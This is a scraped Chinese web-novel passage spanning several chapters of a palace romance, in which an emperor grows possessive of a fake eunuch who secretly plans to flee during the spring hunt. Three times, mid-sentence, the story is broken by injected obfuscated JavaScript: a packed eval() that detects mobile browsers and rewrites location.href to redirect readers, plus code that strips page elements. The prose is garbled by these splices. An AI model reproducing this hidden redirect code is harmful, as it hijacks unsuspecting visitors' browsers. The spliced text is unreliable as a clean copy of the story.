岐岸一边想一边抬眸向外看去,隔着厚厚的帷幔,看得不清,只能看到小太监薄薄的背骨和窄窄的肩。 身上的太监服宽宽大大,瘦得只剩下了一副骨架,根本撑不起来衣服。 真是瘦了许多。 刚才岐岸对他说:“瘦了。” 小太监说是因为生了病,还感激涕零地谢了他让人派的太医,以及允准他可以休息。 岐岸望着他没有说话,只觉得许久不见,他更谄媚了。 明知他说的不是心里话,但岐岸还是略过了这个话题,放下手中的书,让他伺候自己安置。 怎么可能感激他?毕竟谁造成的这一切他们二人心知肚明。 岐岸原本只是想让他乖一点。 罪臣之后他可以不在意,假太监也能不追究,他已经很宽仁了。 但没想到他竟然还想跑,这可就不太行了。 岐岸活到如今,身边有趣的东西实在太少,难得遇见一个,他不想丢掉,不然人生该有多无聊。 但他实在太忙了,也没有耐心去慢慢调教,因此干脆选了最简单粗暴的方式。 本来只是想让小太监明白不听话的下场,没想到这么不禁吓,竟然直接病倒了。 那天回去的时候小太监的魂都没了,岐岸便觉得有些不妙,果不其然,第二日他没来,莫存说太监院的总管来报,千尧突然病倒了。 岐岸彼时刚沐浴完,正准备就寝,闻言看了看床榻边已经给小太监备好的过夜的被褥,只说:“把那些撤下去。” 他的话音刚落,床边的被褥就被撤走了。 岐岸像往常一样躺下,左手下意识向床边伸去,却摸到了一场空。 对了,他病了,怎么刚听完就忘了? 岐岸蜷了蜷手指,收回了手。 “吩咐太医去看看。”岐岸躺了一会儿,突然说道。 他没说是谁,但外面立刻便有人回了句,“是。” 那天晚上岐岸难得有些没有睡好,第二日批奏折时有些烦躁。 给他奉茶的小太监比千尧更笨手笨脚,烫得他喝不下去。 岐岸有些不悦地重重放下茶盏,奉茶的小太监立刻跪了下去,十分标准地开始认罪。 岐岸垂眸看了过去,然后就见小太监的头标标准准地抵着地面,根本不敢抬头。 也是,敢那么天天自以为是偷偷打量他的也只有一个千尧。 莫存及时换了一新杯茶,然后示意那个小太监退下。 一边给他奉茶一边道:“太医说千尧是受到了惊吓,已经开了药。” 岐岸没说话,只是捧起了面前的茶盏喝了一口,温度适宜,入口刚刚好。 谁问他了? 岐岸觉得莫存有些多嘴,但也没阻止他继续说下去。 然后就听莫存继续说道:“只是……他同屋的人说他不知为何突然吃不了荤腥,闻到便会呕吐不止。” 岐岸依旧没有说话,放下了茶盏后继续批起了奏折。 然而莫存却还立在他旁边,像是在等着他的指示。 “这也要来问朕吗?”岐岸觉得他越来越不会办事,“吃不了今后就送素菜过去。” 莫存这才知道该怎么办一样,连忙应了声,“是。” 岐岸摇了摇头,真是高看他了,还是千老太师的孙子,结果这般胆小。 只是吓了吓而已,又病又闹,哪个太监像他一般娇气。 岐岸本以为他也就病个几天,没想到这一病竟然会这么久。 久到再看见他时岐岸竟觉得似已经年。 小太监看起来上次被吓得不轻,再回来时乖得简直不像话,不再像从前那样没事儿就四处乱看,只是默默地立在墙角。 岐岸有些好奇他在想什么,可是听过去却只有一片安静。 从前每次听他的心声都是热热闹闹,乱七八糟。 这突然的安静竟还让他有些不适应。 后来就寝时岐岸假装睡着,想要小太监放松警惕时再听听,可依旧是一片安静。 没了什么他听不懂的富强民主,没了那些不堪入目的话本,没了好奇他是不是断袖?也没了要不要逃跑…… 一切都安安静静的。 真是…… 岐岸也不知道自己对此到底是开心还是不开心,只是继续把玩着小太监的手指。 他的手指细了许多,骨头都凸了出来,硌得岐岸觉得有些疼。 不知为何,他竟第一次觉得自己似乎有些过了。 不过确实乖了,乖了就好。 只要他乖乖的,岐岸可以什么都不追究。 - 虽然日日都要上夜,但千尧的事反而比以前少了。 从前每日都要奉茶,有时候还要伺候狗皇帝洗澡,应付他心血来潮的更衣要求。 但现在这些都不用,他只需要每天傍晚去寝宫,乖乖把手递给狗皇帝,让他握一晚上就行。 虽然晚上睡不好,但白天回来还能补觉。 因此千尧也渐渐习惯了这样的生活,甚至安逸到有些享受。 这日千尧醒来已是正午,刚洗了把脸,就看到了来给他送饭的小穗子。 现在给他送饭的人已经彻底变成了小穗子。 千尧很开心,因为食盒里的饭菜不知为何越来越多,他一个人根本吃不完,刚好可以和小穗子一起吃。 这日两人像往常一样一起坐下分吃了食盒里的饭菜,因为饭菜足够多,他们还留了一些给小福子和小全子。 虽然因为送饭两人现在日日都能见到,但小穗子也不能久留,吃完就得走。 千尧正想送他,就见小穗子突然握住了他的手,然后给他手心里塞了一张纸。 千尧自然知道这是什么,立刻收紧了手指,等到小穗子离开后才展开。 然后就见上面写着:【卯时听竹馆一见】 千尧看完字条后立刻把它浸到杯中,等到上面的字糊到看不清,这才出门把里面的东西倒到了泔水桶里。 可哪怕已经确定不会留下任何破绽,千尧一颗心还是控制不住地狂跳。 他自然知道陆砚洲找他的目的。 想到这儿,千尧便觉得痛苦得简直快要疯掉。 到底跑还是不跑? 他当然想离开这里,毕竟他身上全是炸弹,根本不知道什么时候会炸掉。 可若是跑,万一没跑掉,他们绝对会被一起扔到暗狱。 想起暗狱,千尧便又不受控制地回想起那段记忆。 一颗心仿佛被掰成了两瓣,被分别向不同的方向扯去。 因为有心事,千尧一整天都有些心不在焉。 晚上去上夜的时候更是心惊胆战,根本睡不着,但为了不被发现,还是靠在床边假装睡着。 很快时间就到了卯时,莫存像往常一样来叫陛下起床。 陛下醒来后千尧就可以回去。 千尧出门时外面的天依旧是黑的,千尧不知陆砚洲是怎么做到这么早就能进宫的,但他现在日日都要值夜,现在确实是最适合见面的时候。 想到这儿,千尧鼓足勇气向听竹馆走去。 因为来过一次,所以千尧没了第一次来时的害怕,熟门熟路地走了进去。 刚一进去,就看见了等着他的陆砚洲。 陆砚洲一看见他就迎了过来,一眼便看出来他瘦了不少。 “听小穗子说你病了许久。” “嗯,有点风寒。” “如今都好了吗?” “已经大好了。” “那就好。”陆砚洲说着伸出手,似乎想要摸摸他。 但不知为何还没碰到却又收回了手,随即正色道:“阿尧,我已订好了计划,就在春猎。” “春猎?” “是。” 那就只有三个多月的时间了。 看起来似乎够了,但又觉得仿佛不太够。 “怎么了?是在担心吗?”陆砚洲看出了他的犹豫,连忙问道。 在他面前也没什么好隐瞒的,因此千尧点了点头。 “阿尧,伴君如伴虎,当今圣上的狠辣你应该是见识过的,现在他未选妃还好,若是将来填充后宫后被他发现你是假太监的事,以他的手段,一定会将你折磨至死,你能保证一辈子不被人发现吗?” 陆砚洲的话瞬间将千尧拉回了那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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原本是想看看景色,然而不知为何目光却渐渐偏移,看向了站在鸟笼下正在出神的千尧。 又在发呆了。 在他身边的人哪个不是时时注意着他的一举一动,只有小太监这么爱出神,一点也不尽心。 不过岐岸并不讨厌,甚至隐隐有几分开心。 毕竟小太监最近实在是太乖了,而爱出神似乎成了他唯一还和之前相像的东西。 也不知又在想些什么?岐岸有些好奇,却也没去听他的心声,毕竟最近几次听什么都没听见,白白浪费了他的能力。 “过来。” 岐岸刚一开口,小太监便回过了神,连忙走了过来。 岐岸拿起一块糕点递了过去。 小太监很乖地俯身咬着吃。 岐岸很喜欢看他吃东西,乖乖巧巧的,很像从前七弟养的那只猫。 要是能一直像这样就好。 只是不知为何,千尧今日吃得很是不专心,舌头好几次碰到了他的手指。 若是旁人岐岸早已让人割了他的舌头,但对于千尧的触碰却不讨厌。 只是觉得有些奇怪,从前因为自己的故意逗弄,千尧吃到最后也会碰到,但那也只是万不得已才轻轻碰他一下,从他手中卷走剩下的点心。 可是今日…… 不知为何,虽然前几次听心声都没听到什么,但今日岐岸莫名觉得能听到些东西。 于是他一边继续喂千尧,一边抬起右手轻轻抵住了太阳穴。 - 千尧张嘴咬下一口点心。 他其实不饿,但狗皇帝的投喂他自然不能拒绝,因此还是乖乖吃了起来。 也不知道狗皇帝到底是什么恶趣味,总喜欢喂他吃东西。 若是从前千尧肯定很高兴,但现在他不用再吃萝卜白菜,加上有心事,因此有些吃不下去。 所以千尧很想让他别喂了,但不敢说,而且今日他能明显感觉到皇帝似乎有些不对劲。 往日里狗皇帝投喂糕点最多也就几块,可是今日他却一块接着一块,一副想把整盘糕点都喂给他的架势。 吃到第十块的时候千尧实在吃不下了,干巴巴的糕点堵在喉咙里,他几乎要咽不下去。 可是皇帝却继续拿起了第十一块。 “陛下……”千尧被噎到眼泪都快出来了,小声说道,“吃不下了。” 然而面前的人却好似没有听见一般依旧把糕点递到了他的嘴边,不轻不重地按了按他的唇瓣。 “张嘴。” 千尧见状努力想把嘴张开,但刚才吃下去的糕点还没咽下,他实在害怕自己一张嘴就会吐出来。 “陛下……” 千尧原本还想再求一下,然而刚一抬眸就见面前的人正面无表情地望着自己。 “又不听话了,是吗?” 19.宠妃 皇帝出行是大事,因此离春猎还有两个月的时候,宫内外便准备了起来。 随着春猎的时间越来越近,千尧也越来越惴惴不安。 一颗心高高悬起,落不到地面,只能被迫等待着一个无法预知的结局。 因此有关春猎的事他都会格外注意。 这日狗皇帝睡得格外晚,已是深夜却还在批折子。 千尧不敢打扰,只能乖乖地在角落里等着,然而没想到就在这时却有一个身着黑衣的男人走了进来。 千尧看到这身衣服,瞬间想起了那日在暗狱门口看到的守卫。 这是……寒刃司。 寒刃司多在暗处,鲜少露面,因此跟在狗皇帝身边这些日子里,千尧还是第一次看到他们的人主动出现。 千尧一时间心中又怕又好奇,本想听点什么,但旁边的莫总管递了一个眼神,殿内的宫人立刻全部退了出去。 千尧也不例外,跟着一起退到了门口,大门很快合上,将所有的声音都隔绝在了寝殿里。 到底在说什么事? 千尧试图偷偷听点什么,但什么也听不见。 不知是不是因为之前暗狱的事给他留下了太过深刻的印象,千尧看到寒刃司的人总觉得不安。 不过他也明白大概率是因为他自己“做贼心虚”的缘故,因此只能努力安慰自己,相信陆砚洲,不会出什么事。 很快,寝殿的门便再次被打开,寒刃司的人从里面走了出来。 千尧这才得以重新进入宫殿。 一进去就见狗皇帝正倚坐在椅子上,双目轻阖,像是在闭目养神。 千尧不敢打扰,只是默默地站在角落里,尽量降低自己的存在感。 然而哪怕这样也没躲过,狗皇帝刚一睁眼便示意他过去。 然后拿起桌上的银叉,挑起一块蜜瓜喂给他吃。 千尧对于他的投喂已经习惯,立刻顺从地张开了嘴巴。 心里暗暗庆幸,今日投喂的是水果而不是点心。 前几日狗皇帝不知道突然发的什么疯,逼着他吃了整整十一块点心,把千尧直接吃伤了,因此这几天一直不太吃得下饭,总觉得腻。 今日的水果倒是清爽,刚好解腻,因此千尧吃得很开心。 “还有两个月就是春猎。” 千尧正吃得开心,突然听到面前的人提起春猎一事,立刻愣在了原地,嘴里的东西一时间都忘了咽下去。 怎么突然提起这个?又为什么和他提起? 一颗心瞬间提起,千尧悄悄抬眸看了看他的神色,并没有看出什么异常,这才连忙咽下口中的蜜瓜,回了句,“是。” “你随侍。” 千尧听到这句话更加有些捉摸不透面前人的意思。 狗皇帝日日都要握着他的手睡觉,自己随侍不是理所应当的事,为什么还要特意提醒? 不知道是不是因为做贼心虚的缘故,千尧自己先开始心虚,总觉得他是不是发现了什么?但又觉得不可能。 他和陆砚洲就见过两次,还都是在没人的时候,更何况宫里严禁内外勾连,若是被狗皇帝发现,他和陆砚洲肯定早就受到了处置,怎么会容忍他们到今日? 思及此千尧原本想让自己硬气一点,表现得别那么心虚,然而一抬头对上面前人的眼睛,整个人便仿佛被扎破的气球,瞬间漏了气。 因此只喏喏地回了句,“是。” 说完后便是一阵泄气,从前穿越剧看多了,总觉得自己穿越之后肯定也可以建功立业,大杀四方。 结果真穿了才发现,在真正的封建统治者面前,他连大声说话都不敢。 明明什么都没被发现,但千尧已经快支撑不住,真的很想就这么跪下坦白一切求他饶命。 但好在理智还在,才没让他做出什么失智的事。 面前人身上的气势实在太强,因此千尧很怕自己在他面前撑不住,露出什么破绽,因此回答的都很简短。 本来还担心他生气,然而并没有,狗皇帝没有再继续问下去,而是专心喂起了自己。 不过这次他没再像上次一样逼着自己吃,只喂了几块就停下了。 然而停止投喂后却没有立刻放下手中的银叉,而是突然用银叉按了按他的唇瓣,千尧有些不解地抬眸看去,然后就见他正以一种很奇怪地眼神望着自己。 千尧不解却也不敢动,正想着自己是不是又让他不满意的时候?狗皇帝却突然回过神一般放下了手中的银叉,起身去沐浴。 千尧见状原本想跟过去伺候,然而刚跟上却听狗皇帝道:“你不必伺候。” 千尧闻言有些不明所以,但还是立刻停下脚步,回了句,“是。” - 之后的日子过得很平静。 每日上夜,然后回来补觉,醒来后和小穗子一起吃饭,偶尔去见陆砚洲,商讨逃跑的事。 一切都在有条不紊地进行,唯一和之前不同的是,狗皇帝不知为何突然对他好了起来。 他吃的饭菜越来越丰盛,犯错了也不会被罚,狗皇帝投喂给他的东西越来越好,有些甚至是只有达官贵人才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14818183|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能吃到的贡品,晚上睡觉时还会和他聊天,虽然只是寥寥几句,但千尧能听出来其中的关切之意。 还真是……怪异。 宫里的人惯会见风使舵,即使千尧再迟钝也能感觉到周围人对自己态度的不同。 之前那不许和他说话的限制不知何时已经没了,因此千尧走到哪里都能听到周围人的阿谀奉承。 内务府甚至还给他送来了宫人一般情况下不能用的碳火,让千尧十分受宠若惊。 小福子和小全子对此同样感到不可思议,小福子还打趣他,“可以呀千尧,这可是宠妃的待遇,你说陛下是不是想纳了你?” “别胡说了。” 千尧心中并没有多高兴,毕竟狗皇帝这个人实在太阴晴不定,千尧一点都摸不准他的心思。 前段时间还带他去暗狱看那些东西,现在又突然给他这么多的恩宠,这到底是什么意思? 千尧不理会,小福子也不觉得没趣,凑过来继续说道:“我是说真的,莫总管都没你这待遇吧,现在谁不知道你是陛下心里第一人,你说陛下是不是真的看上你了?” “怎么可能。” 千尧立刻反驳道,虽然之前也猜测过狗皇帝是不是男同,但这些日子以来也没见他对哪个男人感过兴趣,当然他看起来似乎对女人也没什么兴趣,毕竟都登基这么久了,既没立皇后也没选妃,大臣们急得要死,但因为之前的事竟然也没一个人敢催。 “那陛下为什么对你这么好啊?”小福子问道。 千尧闻言一阵叹息,他也想知道。 这样的宠爱之下,千尧并不觉得开心,反而更加惊惧,毕竟宫中所有人都唯君是从。 狗皇帝这么看重他,关注他的人自然不少,而这无疑会影响他逃跑。 更何况这种情况下自己逃跑被发现后,狗皇帝会不会更生气? 只要想到这种可能,千尧便感觉自己整个人都快被淹死在这漫无边际的恐惧里。 但无论心中多害怕,面上却依旧要保持得镇定。 这日千尧照常去上夜。 他到时狗皇帝刚沐浴完准备睡觉,千尧见状连忙像往常一样走过去在床边跪下,然后隔着明黄色的帷幔把手递了进去。 然而没想到狗皇帝却并没有像往常一样握住他的手,反而抬手掀开了面前的帷幔。 “陛下?”千尧见状有些不解地问道,还以为他是有什么需要。 然而没想到下一秒却见面前的人拍了拍身侧。 紧接着一道低低的声音传来,“上来。” 20.男同 千尧本以为自己听错了,直到面前的人又重复了一遍。 “上来。” 千尧这才终于回过神来,他没有听错,狗皇帝是真的让他上去。 上去干什么? 千尧不明白,但也知道这可是龙床,哪里是他一个太监可以躺的,于是连忙磕头道:“奴才不敢。” 下一秒就听见一道略显不悦的声音传来,“抗旨?” 千尧听到这两个字冷汗立刻下来了,连忙抬起头道:“不,不是,奴才这就上来。” 说着便开始脱起了衣服,只是太过紧张,平日里脱习惯的衣服今日怎么也脱不下来。 脑海中不受控制地回想起小福子的话,“这可是宠妃的待遇,你说陛下是不是想纳了你?” 不会被他说中了吧? 想到这儿,千尧的内心是崩溃的,狗皇帝怎么真是男同啊? 可他不是啊,他一点也不想被男人睡。 而且就算要睡他,他是男人啊,睡之前好歹提前通知让他清理一下,就这么直接睡吗?想到这儿千尧的内心更加拒绝。 但等他脱到裤子的时候,才突然意识到,他现在最应该担心的不是有没有清理,而是他是个假太监的事实。 意识到他身上还藏着一个这么大的秘密,千尧只觉得自己腿都软了。 假太监被发现会是什么罪?千尧不清楚,但也知道下场绝对不会好到哪里去。 好了,这下不用逃跑了,他马上就要死了,也好,不用再整日提心吊胆,担心拖累陆砚洲了。 但哪怕千尧给自己做足了心里建设,脱下中衣中裤那一刻整个人还是控制不住地浑身发软。 腿软到站都站不起来,满脑子都是那日在暗狱时看到的画面。 因为腿脚实在太软,因此千尧几乎是四肢并用爬上的龙床,姿势十分不雅观。 明黄色的帷幔下是一张很大的龙床,年轻的帝王躺在正中间,见他终于上来了,垂眸看了过来。 千尧跪在离他最远的角落里等着他的指令。 可是他却并没有说话,只是静静地望着他,像是在等着看他会怎么办? 千尧原本大脑还在飞速运转,上来之后是直接认罪求饶,还是被他脱了裤子发现是假太监之后再爬起来求饶。 还没等他想好,就对上了面前人的眼睛。 只是被他看着,千尧的大脑便瞬间一片空白。 整个人像是一樽木呆的泥塑,做不出任何反应。 大概是见他愣的太久,不远处的人等得有些不耐烦,于是拍了拍身侧。 千尧这才回过神一般,同手同脚地爬了过去,在他身边躺下,然后紧紧闭上眼睛,等待着那一刻的降临。 千尧其实是觉得主动坦白或许还能死得不那么惨,但他实在没有那个勇气,因此只能闭着眼睛等他脱下自己的裤子后发现了再求他饶命。 想到一会儿要面对什么,千尧只觉得整个人开始控制不住地发抖,指甲陷入手心,想让自己冷静一下,但一点用也没有,那点痛意根本挽救不了他快要崩溃的理智。 因为双眼紧闭,所以耳朵对于周围的动静听得更清。 他听到身旁的人安静许久后终于有了动作,紧接着面前突然暗了下去。 千尧不受控制地睁开了眼睛,和他想象中的不同,面前的人并不是要俯身吻他,而是翻身越过他在取什么东西。 因此千尧一睁眼看到的就是只有帝王才能穿的,明黄色的寝衣。 因为离得太近,千尧还闻到了他身上那浅淡的,龙涎香的香气。 还没反应过来他在做什么,便感觉到有什么压在了他身上,紧接着身侧的人便重新躺了回去。 千尧连忙向看去,这才发现身上不知何时多了一床被子。 千尧转过头,然后就见年轻的帝王已经重新躺下,闭上了眼睛。 心中的起落实在太大,因此千尧久久回不过神,好一会儿才终于明白了他的意思。 真的只是睡觉啊。 想到这儿,千尧才终于活过来一般,抬手盖好了身上的被子。 盖上被子的那一刻,千尧像是从地狱回到了人间,呼吸重新变得顺畅,流失的力气也一点点回到了身体。 “手。”身旁的人说道。 千尧听见他的声音,立刻把手递了过去。 下一秒就感觉到手被握住,千尧很快便感觉到了那股熟悉的凉意。 平日里狗皇帝只是握着他而已,然而不知为何今日却轻轻摩挲了一下他的手心。 触觉重新回到了他的身体,因此千尧突然感觉到了一阵痛意,很快他便反应了过来,是刚才被自己指甲抠出来的痕迹。 面前的人不知是不是故意的,不偏不倚地摩挲着那里,因此这痛意中很快便又掺杂了几分说不出的痒意。 痛痒交织在一起构成一种很奇怪的感觉,让千尧想要把手收回去。 但理智很快回笼,他终于还是不敢,只能任由身侧的人握着自己。 不知过了多久,千尧才终于鼓起勇气转过了头,身旁的人双目闭着,然而不知为何,千尧却就是能感觉到他应该还没睡过去。 于是小声叫了一声,“……陛下。” 果不其然,话音刚落就听身侧回了一声,“嗯?” “这不合规矩。” 今晚的一切实在是太超过了,一开始千尧还以为他要睡自己,那么在床上还没什么问题。 但既然他不睡,自己在这里睡就有些不合规矩,因此小心翼翼地提醒道。 然而下一秒就听他反问道:“你很喜欢坐在地上睡?” “不是。”千尧连忙否认。 “那就闭嘴。”狗皇帝一句话堵了他的嘴。 千尧闻言不敢再吭声,悄悄扭过头去,逼着自己闭上了眼睛。 刚才一切发生的太匆忙,所以千尧根本没心思思考,现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14823674|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在才终于回过神来开始想刚才发生的事情。 所以只是不想让他在地上睡吗? 那也不用让他睡龙床吧,在旁边放个美人榻不就好了。 千尧想不明白,但也不敢再问,只能带着满脑子的疑惑睡了过去。 再次醒来是第二日莫总管来叫起。 听到外面的声音,千尧立刻醒了过来,想要出去,但刚一动作才发现手还被身侧的人紧紧握着。 千尧见状想要轻轻把手抽出来,然而刚一动作身旁的人便醒了过来。 他看了千尧一眼,坐起身来,这才将他放开。 原本千尧是想要赶紧出去的,然而不知为何,如今陛下也醒了之后,千尧突然有些不好意思去掀面前的帷幔。 但其实也根本不用他掀,见皇帝醒了,外面的宫女便主动上前卷起了帷幔。 御前伺候的人已经将谨言慎行刻在了骨子里,哪怕见千尧也在龙床上,也没有人乱看乱说,甚至还有人将他昨晚脱在地上的衣服捧起送了过来。 虽然昨晚什么也没发生,但面前的场景实在太容易引人误会,因此千尧尴尬得恨不得找个地缝钻进去,连忙接过宫女手中的衣服穿戴整齐。 本以为接下来就可以像往常一样离开,然而没想到的是今日狗皇帝不知为何,突然留他一起用早膳。 千尧本以为他说的用早膳是像往常一样给他投喂吃食。 然而没想到的是竟然是真的让他坐下来一起吃。 听到这儿,千尧只觉得迷幻,但又不敢抗旨,只能坐下,接过宫女递过来的筷子。 可即使如此,他也还是不敢动筷。 直到面前的人说了一声,“吃吧。” 千尧这才拿起筷子,夹起了面前宫人布的菜。 刚把菜夹到嘴里,就听见面前人的声音,“昨晚没睡好吗?” 千尧不明白他为什么会这么问,但还是立刻回道:“没有,回陛下,奴才睡得很好。” “是吗?”面前的人放下筷子,抬眸望着他,眼神很淡,看不出情绪,“那昨晚怎么说梦话了?” 千尧听到这儿十分惊讶,说梦话?他还会说梦话吗?无论是穿越前还是穿越后都没人说过啊。 他说什么了?没说什么不该说的吧? 想到这儿,千尧立刻紧张了起来,小心翼翼地问道:“奴才说了什么?” “没听清。”面前的人说着端起手边的茶盏喝了一口。 千尧闻言这才松了口气。 然而一颗心还没落回原处,就听面前的人继续说道:“只听到什么……跑?” 千尧听到这儿,虽然知道他说的不过是自己的梦话,但他本就做贼心虚,还是被吓到,手中的筷子一个没拿稳,就这么掉在了地上。 身旁的宫人见状立刻将筷子捡起,然后换了一双新的给的他。 千尧刚想伸手去接,就听面前的人继续问道:“你想跑到哪里去?” 21.逃跑 千尧几乎被这句话吓傻。 如果不是知道面前的人不可能知道自己和陆砚洲的计划,千尧甚至以为他已经发现自己要逃跑了。 但怎么可能呢? 千尧苍白着脸抬头去看面前人的神色,看起来和平常一样,并没有什么特别的。 所以应该只是随口一问吧。 因此千尧连忙回道:“没……” 刚一开口才意识到自己这样坐着回话不合规矩,于是连忙放下筷子跪下,这才继续回道:“没有要跑,那只是梦话,奴才哪里也不去,只想一生一世伺候陛下。” “是吗?”面前的人似乎对他的回答很是满意,笑了一下。 然后像是真的只是随口一问一样,不甚在意地摆摆手示意他起身坐下。 “我只是随口一问。”面前的人说着甚至还亲自给他布菜,夹了一块豆腐放进他面前的盘子里,“吃吧。” “是。”千尧连忙应声,小心翼翼地夹起盘子里的豆腐吃了起来。 口中的豆腐鲜美软嫩,入口即化,然而千尧却吃得有些食不知味,一整顿饭都在悄悄地观察面前人的神色。 但他并未表露出什么异常,之后也没再问过任何有关逃跑的话。 千尧一颗心这才渐渐放下,看来真的是他多心了。 原本漫长得看不到尽头的冬日在日复一日的重复中被消磨了过去。 天气开始变暖,各宫中的炭盆也被逐渐撤下。 宫内的树木似乎前几日还是光秃秃的一片,可再次抬起头看却已经生出了嫩嫩的绿芽,清清淡淡的绿色融在一起,像是一团被困住的雾气。 宫墙上也多了许多叽叽喳喳的声音,御花园的花也开了,花房的宫人忙碌了起来,为各宫送去鲜花,一切都生机勃勃,重新焕发出活力。 春天来了。 这也意味着春猎要来了。 离春猎的日子越近,千尧便越是紧张,两种不同的情绪日日在他体内拉扯,将他拉扯得分崩离析,因此他也分不清自己到底是高兴还是不高兴。 但无论他是什么样的心情,时间都不会以他的意志为转移,依旧在不停地流逝。 终于,还是到了春猎的日子。 一大早,千尧便随着浩浩荡荡的人马一起出发,向春猎的地点赶去。 自从穿越过来后,千尧还是第一次离开皇宫,因此路上难免好奇。 原本以为路上可以看一看鄢都的环境,记一记宫外的路线。 可是出发时才发现他竟被分配在狗皇帝的銮驾里。 千尧听到这个消息内心的第一反应是拒绝的,但又不敢抗旨,只能硬着头皮和狗皇帝一起上了那车。 帝王乘坐的马车很宽敞,里面容纳十几个人都不成问题,甚至还放着茶具棋盘和点心。 狗皇帝一上去便施施然地坐在了最中间的位置。 千尧自然不敢,原本想跪着,可是还没跪下就见那人抬手敲了敲身侧的位置,示意他坐过去。 千尧见状自然是不敢的,但又不敢违抗他的命令,而且转念一想这些日子龙床都睡过了,也不好意思矫情,因此还是坐了过去,但屁股只坐了一点,并不敢坐实。 “会下棋吗?” 千尧刚坐定就听身旁的人问道。 这…… 按理说原身是世家小公子应该是会这些东西的,但他又不是原身,自然不会。 且这种东西也不是靠自己猜就能蒙混过去的,因此千尧纠结了片刻,还是很诚实地摇了摇头。 “不会。” 面前的人似乎也因这个答案而有些意外,却没有说什么,只是摆好棋盘道:“朕教你。” 千尧有些意外,但还是乖乖回了句,“是。” 然后坐在他身边学了起来,老老实实学了半天,但还是什么都没学会。 一盘棋下的乱七八糟。 下完后千尧根本不敢抬头,生怕狗皇帝生气,然而和他想象中的不同,千尧反而听见了一声轻笑。 千尧抬起头,然后就见面前的人正用手抵着下巴静静地望着他,指间还捻着一枚白玉的棋子。 “确实没天分。” 狗皇帝说着将手中的白玉棋子放了回去。 “奴才该……”千尧刚想认罪,然而刚一开口就被一块点心堵住了嘴。 狗皇帝又开始投喂他吃东西。 千尧没去过围场,不知道那里离皇宫有多远,只感觉到这一路格外漫长,一直快天黑才到了地方。 千尧也被投喂了一路。 因为路上吃的太饱,他连晚膳都吃不下,狗皇帝也没逼他。 自己吃了点东西后便让人抬来热水开始沐浴。 沐浴完后便和千尧一起上床睡了过去。 这些日子以来千尧已经习惯了晚上和他睡在一起,原本已经能平稳入睡,可是今日不知是不是终于到了围场的缘故,千尧怎么也睡不着。 但他身侧就是皇帝,又不敢乱动,因此只能闭着眼睛假寐,一晚上似睡非睡。 因为没有睡好,所以第二天醒来的时候头脑有些昏沉,但还是强打起精神开始伺候狗皇帝。 自从晚上开始在龙床上睡觉后,千尧就没再像往常一样白天补觉,晚上再过来,而是日日待在狗皇帝身边。 这些日子以来两人几乎同吃同睡,寸步不离。 除了没有什么什么亲密接触外,现在的他诚如小福子所说的一样,确实很像宠妃。 这也让千尧更加看不懂狗皇帝的心思。 但最让他担心的不是这个,而是按照目前的情形,自己逃跑后是否真的能后顾无忧地和陆砚山离开这里。 正想得入神,一道声音突然传来,“没睡好吗?” 千尧闻言连忙回过神,然后就见狗皇帝不知何时已经穿戴完毕,正望着自己。 千尧闻言下意识摸了摸脸,心想他的脸色很难看吗?这都能看出来? 但还是摇了摇头,回道:“没有。” 面前的人闻言眸色沉了一下,却也没有多问,而是示意他坐下一起吃饭。 千尧面前摆的依旧是素菜。 吃完后千尧和他一起向外走去,接见完大臣后便是围猎。 宫人伺候皇帝换上骑射的衣服,牵来御马,拿来弓箭。 皇帝一一接过,然后翻身上马。 身后的王公大臣,御前侍卫见状也纷纷上马,跟着皇帝骑射起来。 一时间各种猎物四散,林中惊鸟飞腾,沉寂的猎场瞬间活了起来。 千尧的目光也随之而去,然后在穿着侍卫服的御前侍卫中看见了陆砚洲。 而陆砚洲也正回头看着自己。 周围的人实在太多,因此两人并不敢明目张胆地对视,目光一触即分,但千尧的心还是不受控制地跳了起来。 一切都在按在陆砚洲所说的发展,所以逃跑就在明日。 皇帝这一夜收获颇丰,很是开心,于是令众人同聚,一起烤肉吃。 千尧原本也要跟在身边伺候,但狗皇帝似乎知道他现在见不得荤腥,于是让他先回去。 千尧求之不得,自然从命。 回去的路上千尧又一次遇到了巡视的陆砚洲,原本刚平静下来的心再次不受控制地高高悬起,千尧实在坐立不安,于是去找了小穗子。 小穗子这次也跟着随侍,不过他的随侍是给钱打点的效果,因为这次逃跑他也会参与其中。 千尧到的时候小穗子刚忙碌完,见他过来了,连忙洗了手和脸,又散了散身上烤肉的荤腥气,这才走了过来。 “你怎么过来了?不用随侍吗?” “嗯,陛下让我先回来。” “回来也好,今日前面宴饮吃的都是烤肉,我还担心你闻不惯。” 千尧闻言摇了摇头。 “怎么了?”小穗子也看出来了什么,连忙问道。 “没什么,就是……”千尧不安又不舍地握住他的手,“你真的不和我们一起走吗?” “我走不了的,阿尧。”小穗子闻言冲他露出一个笑,“别为我担心,只要……你们幸福,我就会开心。” “我舍不得你。”千尧一听眼眶立刻红了。 “我也舍不得你,但即使见不了面,只要知道彼此过得都好,就足够了,更何况陆少爷是御前侍卫,他今后也可以告诉我你的消息。” “……好。”千尧知道事已至此不可能再感情用事,因此努力克制住了自己的情绪。 